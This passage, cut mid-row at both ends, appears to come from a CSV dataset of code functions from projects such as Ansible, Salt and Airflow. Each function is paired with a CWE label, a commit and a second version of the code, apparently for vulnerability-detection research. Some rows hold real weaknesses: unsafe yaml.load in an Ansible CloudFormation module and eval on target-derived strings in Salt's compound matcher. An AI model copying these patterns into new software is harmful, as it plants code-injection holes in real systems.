    # if state is present we are going to ensure that the stack is either
    # created or updated
    if state == 'present':
        try:
            cfn.create_stack(stack_name, parameters=template_parameters_tup,
                             template_body=template_body,
                             notification_arns=notification_arns,
                             stack_policy_body=stack_policy_body,
                             template_url=template_url,
                             disable_rollback=disable_rollback,
                             capabilities=['CAPABILITY_IAM', 'CAPABILITY_NAMED_IAM'],
                             **kwargs)
            operation = 'CREATE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'AlreadyExistsException' in error_msg or 'already exists' in error_msg:
                update = True
            else:
                module.fail_json(msg=error_msg)
        if not update:
            result = stack_operation(cfn, stack_name, operation)

    # if the state is present and the stack already exists, we try to update it
    # AWS will tell us if the stack template and parameters are the same and
    # don't need to be updated.
    if update:
        try:
            cfn.update_stack(stack_name, parameters=template_parameters_tup,
                             template_body=template_body,
                             notification_arns=notification_arns,
                             stack_policy_body=stack_policy_body,
                             disable_rollback=disable_rollback,
                             template_url=template_url,
                             capabilities=['CAPABILITY_IAM', 'CAPABILITY_NAMED_IAM'],
                             **kwargs)
            operation = 'UPDATE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'No updates are to be performed.' in error_msg:
                result = dict(changed=False, output='Stack is already up-to-date.')
            else:
                module.fail_json(msg=error_msg)

        if operation == 'UPDATE':
            result = stack_operation(cfn, stack_name, operation)

    # check the status of the stack while we are creating/updating it.
    # and get the outputs of the stack

    if state == 'present' or update:
        stack = invoke_with_throttling_retries(cfn.describe_stacks,stack_name)[0]
        for output in stack.outputs:
            stack_outputs[output.key] = output.value
        result['stack_outputs'] = stack_outputs
        stack_resources = [] 
        for res in cfn.list_stack_resources(stack_name):
            stack_resources.append({
                ""last_updated_time"": res.last_updated_time,
                ""logical_resource_id"": res.logical_resource_id,
                ""physical_resource_id"": res.physical_resource_id,
                ""status"": res.resource_status,
                ""status_reason"": res.resource_status_reason,
                ""resource_type"": res.resource_type })
        result['stack_resources'] = stack_resources

    # absent state is different because of the way delete_stack works.
    # problem is it it doesn't give an error if stack isn't found
    # so must describe the stack first

    if state == 'absent':
        try:
            invoke_with_throttling_retries(cfn.describe_stacks,stack_name)
            operation = 'DELETE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'Stack:%s does not exist' % stack_name in error_msg:
                result = dict(changed=False, output='Stack not found.')
            else:
                module.fail_json(msg=error_msg)
        if operation == 'DELETE':
            cfn.delete_stack(stack_name)
            result = stack_operation(cfn, stack_name, operation)

    module.exit_json(**result)",CWE-20,ansible/ansible,adc56e52d8bdd4634818ca091fd09576ebd88f33,"def main():
    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
            stack_name=dict(required=True),
            template_parameters=dict(required=False, type='dict', default={}),
            state=dict(default='present', choices=['present', 'absent']),
            template=dict(default=None, required=False, type='path'),
            notification_arns=dict(default=None, required=False),
            stack_policy=dict(default=None, required=False),
            disable_rollback=dict(default=False, type='bool'),
            template_url=dict(default=None, required=False),
            template_format=dict(default='json', choices=['json', 'yaml'], required=False),
            tags=dict(default=None, type='dict')
        )
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        mutually_exclusive=[['template_url', 'template']],
    )
    if not HAS_BOTO:
        module.fail_json(msg='boto required for this module')

    state = module.params['state']
    stack_name = module.params['stack_name']

    if module.params['template'] is None and module.params['template_url'] is None:
        if state == 'present':
            module.fail_json('Module parameter ""template"" or ""template_url"" is required if ""state"" is ""present""')

    if module.params['template'] is not None:
        template_body = open(module.params['template'], 'r').read()
    else:
        template_body = None

    if module.params['template_format'] == 'yaml':
        if template_body is None:
            module.fail_json(msg='yaml format only supported for local templates')
        else:
            template_body = json.dumps(yaml.load(template_body), indent=2)

    notification_arns = module.params['notification_arns']

    if module.params['stack_policy'] is not None:
        stack_policy_body = open(module.params['stack_policy'], 'r').read()
    else:
        stack_policy_body = None

    disable_rollback = module.params['disable_rollback']
    template_parameters = module.params['template_parameters']
    tags = module.params['tags']
    template_url = module.params['template_url']

    region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module)

    kwargs = dict()
    if tags is not None:
        if not boto_version_required((2,6,0)):
            module.fail_json(msg='Module parameter ""tags"" requires at least Boto version 2.6.0')
        kwargs['tags'] = tags


    # convert the template parameters ansible passes into a tuple for boto
    template_parameters_tup = [(k, v) for k, v in template_parameters.items()]
    stack_outputs = {}

    try:
        cfn = connect_to_aws(boto.cloudformation, region, **aws_connect_kwargs)
    except boto.exception.NoAuthHandlerFound as e:
        module.fail_json(msg=str(e))
    update = False
    result = {}
    operation = None

    # if state is present we are going to ensure that the stack is either
    # created or updated
    if state == 'present':
        try:
            cfn.create_stack(stack_name, parameters=template_parameters_tup,
                             template_body=template_body,
                             notification_arns=notification_arns,
                             stack_policy_body=stack_policy_body,
                             template_url=template_url,
                             disable_rollback=disable_rollback,
                             capabilities=['CAPABILITY_IAM', 'CAPABILITY_NAMED_IAM'],
                             **kwargs)
            operation = 'CREATE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'AlreadyExistsException' in error_msg or 'already exists' in error_msg:
                update = True
            else:
                module.fail_json(msg=error_msg)
        if not update:
            result = stack_operation(cfn, stack_name, operation)

    # if the state is present and the stack already exists, we try to update it
    # AWS will tell us if the stack template and parameters are the same and
    # don't need to be updated.
    if update:
        try:
            cfn.update_stack(stack_name, parameters=template_parameters_tup,
                             template_body=template_body,
                             notification_arns=notification_arns,
                             stack_policy_body=stack_policy_body,
                             disable_rollback=disable_rollback,
                             template_url=template_url,
                             capabilities=['CAPABILITY_IAM', 'CAPABILITY_NAMED_IAM'],
                             **kwargs)
            operation = 'UPDATE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'No updates are to be performed.' in error_msg:
                result = dict(changed=False, output='Stack is already up-to-date.')
            else:
                module.fail_json(msg=error_msg)

        if operation == 'UPDATE':
            result = stack_operation(cfn, stack_name, operation)

    # check the status of the stack while we are creating/updating it.
    # and get the outputs of the stack

    if state == 'present' or update:
        stack = invoke_with_throttling_retries(cfn.describe_stacks,stack_name)[0]
        for output in stack.outputs:
            stack_outputs[output.key] = output.value
        result['stack_outputs'] = stack_outputs
        stack_resources = [] 
        for res in cfn.list_stack_resources(stack_name):
            stack_resources.append({
                ""last_updated_time"": res.last_updated_time,
                ""logical_resource_id"": res.logical_resource_id,
                ""physical_resource_id"": res.physical_resource_id,
                ""status"": res.resource_status,
                ""status_reason"": res.resource_status_reason,
                ""resource_type"": res.resource_type })
        result['stack_resources'] = stack_resources

    # absent state is different because of the way delete_stack works.
    # problem is it it doesn't give an error if stack isn't found
    # so must describe the stack first

    if state == 'absent':
        try:
            invoke_with_throttling_retries(cfn.describe_stacks,stack_name)
            operation = 'DELETE'
        except Exception as err:
            error_msg = boto_exception(err)
            if 'Stack:%s does not exist' % stack_name in error_msg:
                result = dict(changed=False, output='Stack not found.')
            else:
                module.fail_json(msg=error_msg)
        if operation == 'DELETE':
            cfn.delete_stack(stack_name)
            result = stack_operation(cfn, stack_name, operation)

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/auth_manager/test_aws_auth_manager.py,1,"def test_batch_is_authorized_variable(
        self,
        mock_avp_facade,
        auth_manager,
    ):
        batch_is_authorized = Mock(return_value=True)
        mock_avp_facade.batch_is_authorized = batch_is_authorized

        result = auth_manager.batch_is_authorized_variable(
            requests=[{""method"": ""GET""}, {""method"": ""GET"", ""details"": VariableDetails(key=""var1"")}],
            user=mock,
        )

        batch_is_authorized.assert_called_once_with(
            requests=[
                {
                    ""method"": ""GET"",
                    ""entity_type"": AvpEntities.VARIABLE,
                    ""entity_id"": None,
                },
                {
                    ""method"": ""GET"",
                    ""entity_type"": AvpEntities.VARIABLE,
                    ""entity_id"": ""var1"",
                },
            ],
            user=ANY,
        )
        assert result",CWE-703,apache/airflow,f10c4314aab2ab98c94e6c277d9c8019eba3a9f6,"def test_batch_is_authorized_variable(
        self,
        mock_avp_facade,
        auth_manager,
    ):
        batch_is_authorized = Mock(return_value=True)
        mock_avp_facade.batch_is_authorized = batch_is_authorized

        result = auth_manager.batch_is_authorized_variable(
            requests=[{""method"": ""GET""}, {""method"": ""GET"", ""details"": VariableDetails(key=""var1"")}],
            user=mock,
        )

        batch_is_authorized.assert_called_once_with(
            requests=[
                {
                    ""method"": ""GET"",
                    ""entity_type"": AvpEntities.VARIABLE,
                    ""entity_id"": None,
                },
                {
                    ""method"": ""GET"",
                    ""entity_type"": AvpEntities.VARIABLE,
                    ""entity_id"": ""var1"",
                },
            ],
            user=ANY,
        )
        assert result"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,0,"def _rm_maker(self, name, tags=None):
        return self.store.create_registered_model(name, tags)",,mlflow/mlflow,df7cc84746f88cfe6aae3f086ba20b7e19f7c998,"def _rm_maker(self, name, tags=None):
        return self.store.create_registered_model(name, tags)"
,UNKNOWN,UNKNOWN,salt/matchers/compound_match.py,1,"def match(tgt, opts=None):
    '''
    Runs the compound target check
    '''
    if not opts:
        opts = __opts__
    nodegroups = opts.get('nodegroups', {})
    matchers = salt.loader.matchers(opts)
    minion_id = opts.get('minion_id', opts['id'])

    if not isinstance(tgt, six.string_types) and not isinstance(tgt, (list, tuple)):
        log.error('Compound target received that is neither string, list nor tuple')
        return False
    log.debug('compound_match: %s ? %s', minion_id, tgt)
    ref = {'G': 'grain',
           'P': 'grain_pcre',
           'I': 'pillar',
           'J': 'pillar_pcre',
           'L': 'list',
           'N': None,      # Nodegroups should already be expanded
           'S': 'ipcidr',
           'E': 'pcre'}
    if HAS_RANGE:
        ref['R'] = 'range'

    results = []
    opers = ['and', 'or', 'not', '(', ')']

    if isinstance(tgt, six.string_types):
        words = tgt.split()
    else:
        # we make a shallow copy in order to not affect the passed in arg
        words = tgt[:]

    while words:
        word = words.pop(0)
        target_info = salt.utils.minions.parse_target(word)

        # Easy check first
        if word in opers:
            if results:
                if results[-1] == '(' and word in ('and', 'or'):
                    log.error('Invalid beginning operator after ""("": %s', word)
                    return False
                if word == 'not':
                    if not results[-1] in ('and', 'or', '('):
                        results.append('and')
                results.append(word)
            else:
                # seq start with binary oper, fail
                if word not in ['(', 'not']:
                    log.error('Invalid beginning operator: %s', word)
                    return False
                results.append(word)

        elif target_info and target_info['engine']:
            if 'N' == target_info['engine']:
                # if we encounter a node group, just evaluate it in-place
                decomposed = salt.utils.minions.nodegroup_comp(target_info['pattern'], nodegroups)
                if decomposed:
                    words = decomposed + words
                continue

            engine = ref.get(target_info['engine'])
            if not engine:
                # If an unknown engine is called at any time, fail out
                log.error(
                    'Unrecognized target engine ""%s"" for target '
                    'expression ""%s""', target_info['engine'], word
                )
                return False

            engine_args = [target_info['pattern']]
            engine_kwargs = {'opts': opts}
            if target_info['delimiter']:
                engine_kwargs['delimiter'] = target_info['delimiter']

            results.append(
                six.text_type(matchers['{0}_match.match'.format(engine)](*engine_args, **engine_kwargs))
            )

        else:
            # The match is not explicitly defined, evaluate it as a glob
            results.append(six.text_type(matchers['glob_match.match'](word, opts)))

    results = ' '.join(results)
    log.debug('compound_match %s ? ""%s"" => ""%s""', minion_id, tgt, results)
    try:
        return eval(results)  # pylint: disable=W0123
    except Exception:  # pylint: disable=broad-except
        log.error(
            'Invalid compound target: %s for results: %s', tgt, results)
        return False
    return False",CWE-94,saltstack/salt,18b4882c49080f2c11505eacefd9b4155783a740,"def match(tgt, opts=None):
    '''
    Runs the compound target check
    '''
    if not opts:
        opts = __opts__
    nodegroups = opts.get('nodegroups', {})
    matchers = salt.loader.matchers(opts)
    minion_id = opts.get('minion_id', opts['id'])

    if not isinstance(tgt, six.string_types) and not isinstance(tgt, (list, tuple)):
        log.error('Compound target received that is neither string, list nor tuple')
        return False
    log.debug('compound_match: %s ? %s', minion_id, tgt)
    ref = {'G': 'grain',
           'P': 'grain_pcre',
           'I': 'pillar',
           'J': 'pillar_pcre',
           'L': 'list',
           'N': None,      # Nodegroups should already be expanded
           'S': 'ipcidr',
           'E': 'pcre'}
    if HAS_RANGE:
        ref['R'] = 'range'

    results = []
    opers = ['and', 'or', 'not', '(', ')']

    if isinstance(tgt, six.string_types):
        words = tgt.split()
    else:
        # we make a shallow copy in order to not affect the passed in arg
        words = tgt[:]

    while words:
        word = words.pop(0)
        target_info = salt.utils.minions.parse_target(word)

        # Easy check first
        if word in opers:
            if results:
                if results[-1] == '(' and word in ('and', 'or'):
                    log.error('Invalid beginning operator after ""("": %s', word)
                    return False
                if word == 'not':
                    if not results[-1] in ('and', 'or', '('):
                        results.append('and')
                results.append(word)
            else:
                # seq start with binary oper, fail
                if word not in ['(', 'not']:
                    log.error('Invalid beginning operator: %s', word)
                    return False
                results.append(word)

        elif target_info and target_info['engine']:
            if 'N' == target_info['engine']:
                # if we encounter a node group, just evaluate it in-place
                decomposed = salt.utils.minions.nodegroup_comp(target_info['pattern'], nodegroups)
                if decomposed:
                    words = decomposed + words
                continue

            engine = ref.get(target_info['engine'])
            if not engine:
                # If an unknown engine is called at any time, fail out
                log.error(
                    'Unrecognized target engine ""%s"" for target '
                    'expression ""%s""', target_info['engine'], word
                )
                return False

            engine_args = [target_info['pattern']]
            engine_kwargs = {'opts': opts}
            if target_info['delimiter']:
                engine_kwargs['delimiter'] = target_info['delimiter']

            results.append(
                six.text_type(matchers['{0}_match.match'.format(engine)](*engine_args, **engine_kwargs))
            )

        else:
            # The match is not explicitly defined, evaluate it as a glob
            results.append(six.text_type(matchers['glob_match.match'](word, opts)))

    results = ' '.join(results)
    log.debug('compound_match %s ? ""%s"" => ""%s""', minion_id, tgt, results)
    try:
        return eval(results)  # pylint: disable=W0123
    except Exception:
        log.error(
            'Invalid compound target: %s for results: %s', tgt, results)
        return False
    return False"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/audit/websocket_hijacking.py,0,"def __init__(self):
        super(websocket_hijacking, self).__init__()
        self.already_tested_websockets = ScalableBloomFilter()",,andresriancho/w3af,67f0fec6d97c83b8e26957281b976c2c54e43374,"def __init__(self):
        super(websocket_hijacking, self).__init__()
        self.already_tested_websockets = ScalableBloomFilter()"
,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator.py,1,"def test_volume_mount(self):
        with mock.patch.object(PodLauncher, 'log') as mock_logger:
            volume_mount = k8s.V1VolumeMount(
                name='test-volume',
                mount_path='/tmp/test_volume',
                sub_path=None,
                read_only=False
            )

            volume = k8s.V1Volume(
                name='test-volume',
                persistent_volume_claim=k8s.V1PersistentVolumeClaimVolumeSource(
                    claim_name='test-volume'
                )
            )

            args = [""echo \""retrieved from mount\"" > /tmp/test_volume/test.txt ""
                    ""&& cat /tmp/test_volume/test.txt""]
            k = KubernetesPodOperator(
                namespace='default',
                image=""ubuntu:16.04"",
                cmds=[""bash"", ""-cx""],
                arguments=args,
                labels={""foo"": ""bar""},
                volume_mounts=[volume_mount],
                volumes=[volume],
                name=""test-"" + str(random.randint(0, 1000000)),
                task_id=""task"" + self.get_current_task_name(),
                in_cluster=False,
                do_xcom_push=False,
            )
            context = create_context(k)
            k.execute(context=context)
            mock_logger.info.assert_any_call('retrieved from mount')
            actual_pod = self.api_client.sanitize_for_serialization(k.pod)
            self.expected_pod['spec']['containers'][0]['args'] = args
            self.expected_pod['spec']['containers'][0]['volumeMounts'] = [{
                'name': 'test-volume',
                'mountPath': '/tmp/test_volume',
                'readOnly': False
            }]
            self.expected_pod['spec']['volumes'] = [{
                'name': 'test-volume',
                'persistentVolumeClaim': {
                    'claimName': 'test-volume'
                }
            }]
            self.assertEqual(self.expected_pod, actual_pod)",CWE-330,apache/airflow,b7404b079ab57b6493d8ddd319bccdb40ff3ddc5,"def test_volume_mount(self):
        with mock.patch.object(PodLauncher, 'log') as mock_logger:
            volume_mount = k8s.V1VolumeMount(
                name='test-volume',
                mount_path='/tmp/test_volume',
                sub_path=None,
                read_only=False
            )

            volume = k8s.V1Volume(
                name='test-volume',
                persistent_volume_claim=k8s.V1PersistentVolumeClaimVolumeSource(
                    claim_name='test-volume'
                )
            )

            args = [""echo \""retrieved from mount\"" > /tmp/test_volume/test.txt ""
                    ""&& cat /tmp/test_volume/test.txt""]
            k = KubernetesPodOperator(
                namespace='default',
                image=""ubuntu:16.04"",
                cmds=[""bash"", ""-cx""],
                arguments=args,
                labels={""foo"": ""bar""},
                volume_mounts=[volume_mount],
                volumes=[volume],
                name=""test-"" + str(random.randint(0, 1000000)),
                task_id=""task"" + self.get_current_task_name(),
                in_cluster=False,
                do_xcom_push=False,
            )
            context = create_context(k)
            k.execute(context=context)
            mock_logger.info.assert_any_call(b""retrieved from mount\n"")
            actual_pod = self.api_client.sanitize_for_serialization(k.pod)
            self.expected_pod['spec']['containers'][0]['args'] = args
            self.expected_pod['spec']['containers'][0]['volumeMounts'] = [{
                'name': 'test-volume',
                'mountPath': '/tmp/test_volume',
                'readOnly': False
            }]
            self.expected_pod['spec']['volumes'] = [{
                'name': 'test-volume',
                'persistentVolumeClaim': {
                    'claimName': 'test-volume'
                }
            }]
            self.assertEqual(self.expected_pod, actual_pod)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/amazon/aws/hooks/rds.py,0,"def get_db_snapshot_state(self, snapshot_id: str) -> str:
        """"""
        Get the current state of a DB instance snapshot.

        .. seealso::
            - :external+boto3:py:meth:`RDS.Client.describe_db_snapshots`

        :param snapshot_id: The ID of the target DB instance snapshot
        :return: Returns the status of the DB snapshot as a string (eg. ""available"")
        :raises AirflowNotFoundException: If the DB instance snapshot does not exist.
        """"""
        try:
            response = self.conn.describe_db_snapshots(DBSnapshotIdentifier=snapshot_id)
        except self.conn.exceptions.DBSnapshotNotFoundFault as e:
            raise AirflowNotFoundException(e)
        return response[""DBSnapshots""][0][""Status""].lower()",CWE-Unknown,apache/airflow,f24e5199c793c48a2f8cf5fe6bb2699cd8283196,"def get_db_snapshot_state(self, snapshot_id: str) -> str:
        """"""
        Get the current state of a DB instance snapshot.

        .. seealso::
            - :external+boto3:py:meth:`RDS.Client.describe_db_snapshots`

        :param snapshot_id: The ID of the target DB instance snapshot
        :return: Returns the status of the DB snapshot as a string (eg. ""available"")
        :raises AirflowNotFoundException: If the DB instance snapshot does not exist.
        """"""
        try:
            response = self.conn.describe_db_snapshots(DBSnapshotIdentifier=snapshot_id)
        except self.conn.exceptions.ClientError as e:
            if e.response[""Error""][""Code""] == ""DBSnapshotNotFound"":
                raise AirflowNotFoundException(e)
            raise e
        return response[""DBSnapshots""][0][""Status""].lower()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/mac_package.py,0,"def installed(name, target=""LocalSystem"", dmg=False, store=False, app=False, mpkg=False, user=None, onlyif=None,
              unless=None, force=False, allow_untrusted=False, version_check=None):
    '''
    Install a Mac OS Package from a pkg or dmg file, if given a dmg file it
    will first be mounted in a temporary location

    name
        The pkg or dmg file to install

    target
        The location in which to install the package. This can be a path or LocalSystem

    dmg
        Is the given file a dmg file?

    store
        Should the pkg be installed as if it was from the Mac OS Store?

    app
        Is the file a .app? If so then we'll just copy that to /Applications/ or the given
        target

    mpkg
        Is the file a .mpkg? If so then we'll check all of the .pkg files found are installed

    user
        Name of the user performing the unless or onlyif checks

    onlyif
        A command to run as a check, run the named command only if the command
        passed to the ``onlyif`` option returns true

    unless
        A command to run as a check, only run the named command if the command
        passed to the ``unless`` option returns false

    force
        Force the package to be installed even if its already been found installed

    allow_untrusted
        Allow the installation of untrusted packages

    version_check
        The command and version that we want to check against, the version number can use regex.

        .. code-block:: yaml

            version_check: python --version_check=2.7.[0-9]

    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}}
    found = []
    installing = []

    real_pkg = name

    # Check onlyif, unless first
    run_check_cmd_kwargs = {'runas': user, 'python_shell': True}
    if 'shell' in __grains__:
        run_check_cmd_kwargs['shell'] = __grains__['shell']

    cret = _mod_run_check(run_check_cmd_kwargs, onlyif, unless)

    if isinstance(cret, dict):
        ret.update(cret)
        return ret

    # Check version info
    if version_check is not None:
        split = version_check.split(""="")
        if len(split) == 2:
            version_cmd = split[0]
            expected_version = split[1]
            try:
                version_out = __salt__['cmd.run'](version_cmd, output_loglevel=""quiet"", ignore_retcode=True)
                version_out = version_out.strip()
            except CommandExecutionError:
                version_out = """"

            if re.match(expected_version, version_out) is not None:
                ret['comment'] += ""Version already matches {0}"".format(expected_version)
                return ret
            else:
                ret['comment'] += ""Version {0} doesn't match {1}. "".format(version_out, expected_version)

    if app and target == ""LocalSystem"":
        target = ""/Applications/""

    # Mount the dmg first
    mount_point = None
    if dmg:
        out, mount_point = __salt__['macpackage.mount'](name)
        if 'attach failed' in out:
            ret['result'] = False
            ret['comment'] += 'Unable to mount {0}'.format(name)
            return ret

        if app:
            real_pkg = mount_point + ""/*.app""
        elif mpkg:
            real_pkg = mount_point + ""/*.mpkg""
        else:
            real_pkg = mount_point + ""/*.pkg""

    try:
        # Check if we have already installed this
        if app:
            if dmg:
                # Run with python shell due to the wildcard
                cmd = 'ls -d *.app'
                out = __salt__['cmd.run'](cmd, cwd=mount_point, python_shell=True)

                if '.app' not in out:
                    ret['result'] = False
                    ret['comment'] += 'Unable to find .app in {0}'.format(mount_point)
                    return ret
                else:
                    pkg_ids = out.split(""\n"")
            else:
                pkg_ids = [os.path.basename(name)]
                mount_point = os.path.dirname(name)

            if onlyif is None and unless is None and version_check is None:
                for p in pkg_ids:
                    if target[-4:] == "".app"":
                        install_dir = target
                    else:
                        install_dir = os.path.join(target, p)
                    if os.path.exists(install_dir) and force is False:
                        found.append(p)
                    else:
                        installing.append(p)
            else:
                installing = pkg_ids
        else:
            installed_pkgs = __salt__['macpackage.installed_pkgs']()

            if mpkg:
                pkg_ids = __salt__['macpackage.get_mpkg_ids'](real_pkg)
            else:
                pkg_ids = __salt__['macpackage.get_pkg_id'](real_pkg)

            if len(pkg_ids) > 0:
                for p in pkg_ids:
                    if p in installed_pkgs and force is False:
                        found.append(p)
                    else:
                        installing.append(p)
                if len(pkg_ids) == len(found):
                    return ret

        if app:
            def failed_pkg(f_pkg):
                ret['result'] = False
                ret['comment'] += '{0} failed to install: {1}'.format(name, out)

                if 'failed' in ret['changes']:
                    ret['changes']['failed'].append(f_pkg)
                else:
                    ret['changes']['failed'] = [f_pkg]

            for app in installing:
                try:
                    log.info('Copying {0} to {1}'.format(app, target))

                    out = __salt__['macpackage.install_app'](os.path.join(mount_point, app), target)

                    if len(out) != 0:
                        failed_pkg(app)
                    else:
                        ret['comment'] += '{0} installed'.format(app)
                        if 'installed' in ret['changes']:
                            ret['changes']['installed'].append(app)
                        else:
                            ret['changes']['installed'] = [app]

                except OSError:
                    failed_pkg(app)
        else:
            out = __salt__['macpackage.install'](real_pkg, target, store, allow_untrusted)

            if out['retcode'] != 0:
                ret['result'] = False
                ret['comment'] += '. {0} failed to install: {1}'.format(name, out)
            else:
                ret['comment'] += '{0} installed'.format(name)
                ret['changes']['installed'] = installing

    finally:
        if dmg:
            # Unmount to be kind
            __salt__['macpackage.unmount'](mount_point)

    return ret",,saltstack/salt,72434918f4990d5140f529689bb1ebaca43ca8e0,"def installed(name, target=""LocalSystem"", dmg=False, store=False, app=False, mpkg=False, user=None, onlyif=None,
              unless=None, force=False, allow_untrusted=False, version_check=None):
    '''
    Install a Mac OS Package from a pkg or dmg file, if given a dmg file it
    will first be mounted in a temporary location

    name
        The pkg or dmg file to install

    target
        The location in which to install the package. This can be a path or LocalSystem

    dmg
        Is the given file a dmg file?

    store
        Should the pkg be installed as if it was from the Mac OS Store?

    app
        Is the file a .app? If so then we'll just copy that to /Applications/ or the given
        target

    mpkg
        Is the file a .mpkg? If so then we'll check all of the .pkg files found are installed

    user
        Name of the user performing the unless or onlyif checks

    onlyif
        A command to run as a check, run the named command only if the command
        passed to the ``onlyif`` option returns true

    unless
        A command to run as a check, only run the named command if the command
        passed to the ``unless`` option returns false

    force
        Force the package to be installed even if its already been found installed

    allow_untrusted
        Allow the installation of untrusted packages

    version_check
        The command and version that we want to check against, the version number can use regex.

        .. code-block:: yaml
            version_check: python --version_check=2.7.[0-9]

    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}}
    found = []
    installing = []

    real_pkg = name

    # Check onlyif, unless first
    run_check_cmd_kwargs = {'runas': user, 'python_shell': True}
    if 'shell' in __grains__:
        run_check_cmd_kwargs['shell'] = __grains__['shell']

    cret = _mod_run_check(run_check_cmd_kwargs, onlyif, unless)

    if isinstance(cret, dict):
        ret.update(cret)
        return ret

    # Check version info
    if version_check is not None:
        split = version_check.split(""="")
        if len(split) == 2:
            version_cmd = split[0]
            expected_version = split[1]
            try:
                version_out = __salt__['cmd.run'](version_cmd, output_loglevel=""quiet"", ignore_retcode=True)
                version_out = version_out.strip()
            except CommandExecutionError:
                version_out = """"

            if re.match(expected_version, version_out) is not None:
                ret['comment'] += ""Version already matches {0}"".format(expected_version)
                return ret
            else:
                ret['comment'] += ""Version {0} doesn't match {1}. "".format(version_out, expected_version)

    if app and target == ""LocalSystem"":
        target = ""/Applications/""

    # Mount the dmg first
    mount_point = None
    if dmg:
        out, mount_point = __salt__['macpackage.mount'](name)
        if 'attach failed' in out:
            ret['result'] = False
            ret['comment'] += 'Unable to mount {0}'.format(name)
            return ret

        if app:
            real_pkg = mount_point + ""/*.app""
        elif mpkg:
            real_pkg = mount_point + ""/*.mpkg""
        else:
            real_pkg = mount_point + ""/*.pkg""

    try:
        # Check if we have already installed this
        if app:
            if dmg:
                # Run with python shell due to the wildcard
                cmd = 'ls -d *.app'
                out = __salt__['cmd.run'](cmd, cwd=mount_point, python_shell=True)

                if '.app' not in out:
                    ret['result'] = False
                    ret['comment'] += 'Unable to find .app in {0}'.format(mount_point)
                    return ret
                else:
                    pkg_ids = out.split(""\n"")
            else:
                pkg_ids = [os.path.basename(name)]
                mount_point = os.path.dirname(name)

            if onlyif is None and unless is None and version_check is None:
                for p in pkg_ids:
                    if target[-4:] == "".app"":
                        install_dir = target
                    else:
                        install_dir = os.path.join(target, p)
                    if os.path.exists(install_dir) and force is False:
                        found.append(p)
                    else:
                        installing.append(p)
            else:
                installing = pkg_ids
        else:
            installed_pkgs = __salt__['macpackage.installed_pkgs']()

            if mpkg:
                pkg_ids = __salt__['macpackage.get_mpkg_ids'](real_pkg)
            else:
                pkg_ids = __salt__['macpackage.get_pkg_id'](real_pkg)

            if len(pkg_ids) > 0:
                for p in pkg_ids:
                    if p in installed_pkgs and force is False:
                        found.append(p)
                    else:
                        installing.append(p)
                if len(pkg_ids) == len(found):
                    return ret

        if app:
            def failed_pkg(f_pkg):
                ret['result'] = False
                ret['comment'] += '{0} failed to install: {1}'.format(name, out)

                if 'failed' in ret['changes']:
                    ret['changes']['failed'].append(f_pkg)
                else:
                    ret['changes']['failed'] = [f_pkg]

            for app in installing:
                try:
                    log.info('Copying {0} to {1}'.format(app, target))

                    out = __salt__['macpackage.install_app'](os.path.join(mount_point, app), target)

                    if len(out) != 0:
                        failed_pkg(app)
                    else:
                        ret['comment'] += '{0} installed'.format(app)
                        if 'installed' in ret['changes']:
                            ret['changes']['installed'].append(app)
                        else:
                            ret['changes']['installed'] = [app]

                except OSError:
                    failed_pkg(app)
        else:
            out = __salt__['macpackage.install'](real_pkg, target, store, allow_untrusted)

            if out['retcode'] != 0:
                ret['result'] = False
                ret['comment'] += '. {0} failed to install: {1}'.format(name, out)
            else:
                ret['comment'] += '{0} installed'.format(name)
                ret['changes']['installed'] = installing

    finally:
        if dmg:
            # Unmount to be kind
            __salt__['macpackage.unmount'](mount_point)

    return ret"
,UNKNOWN,UNKNOWN,tests/pytests/unit/test_request_channel.py,1,"def test_req_server_chan_encrypt_v2(master_opts, pki_dir):
    loop = tornado.ioloop.IOLoop.current()
    master_opts.update(
        {
            ""worker_threads"": 1,
            ""master_uri"": ""tcp://127.0.0.1:4506"",
            ""interface"": ""127.0.0.1"",
            ""ret_port"": 4506,
            ""ipv6"": False,
            ""zmq_monitor"": False,
            ""mworker_queue_niceness"": False,
            ""sock_dir"": ""."",
            ""pki_dir"": str(pki_dir.joinpath(""master"")),
            ""id"": ""minion"",
            ""__role"": ""minion"",
            ""keysize"": 4096,
        }
    )
    server = salt.channel.server.ReqServerChannel.factory(master_opts)
    dictkey = ""pillar""
    nonce = ""abcdefg""
    pillar_data = {""pillar1"": ""meh""}
    try:
        ret = server._encrypt_private(pillar_data, dictkey, ""minion"", nonce)
        assert ""key"" in ret
        assert dictkey in ret

        key = salt.crypt.get_rsa_key(
            str(pki_dir.joinpath(""minion"", ""minion.pem"")), None
        )
        if HAS_M2:
            aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
        else:
            cipher = PKCS1_OAEP.new(key)  # pylint: disable=used-before-assignment
            aes = cipher.decrypt(ret[""key""])
        pcrypt = salt.crypt.Crypticle(master_opts, aes)
        signed_msg = pcrypt.loads(ret[dictkey])

        assert ""sig"" in signed_msg
        assert ""data"" in signed_msg
        data = salt.payload.loads(signed_msg[""data""])
        assert ""key"" in data
        assert data[""key""] == ret[""key""]
        assert ""key"" in data
        assert data[""nonce""] == nonce
        assert ""pillar"" in data
        assert data[""pillar""] == pillar_data
    finally:
        server.close()",CWE-703,saltstack/salt,628c0d271349b173b4af7c8bd9b88890c033a2ed,"def test_req_server_chan_encrypt_v2(master_opts, pki_dir):
    loop = tornado.ioloop.IOLoop.current()
    master_opts.update(
        {
            ""worker_threads"": 1,
            ""master_uri"": ""tcp://127.0.0.1:4506"",
            ""interface"": ""127.0.0.1"",
            ""ret_port"": 4506,
            ""ipv6"": False,
            ""zmq_monitor"": False,
            ""mworker_queue_niceness"": False,
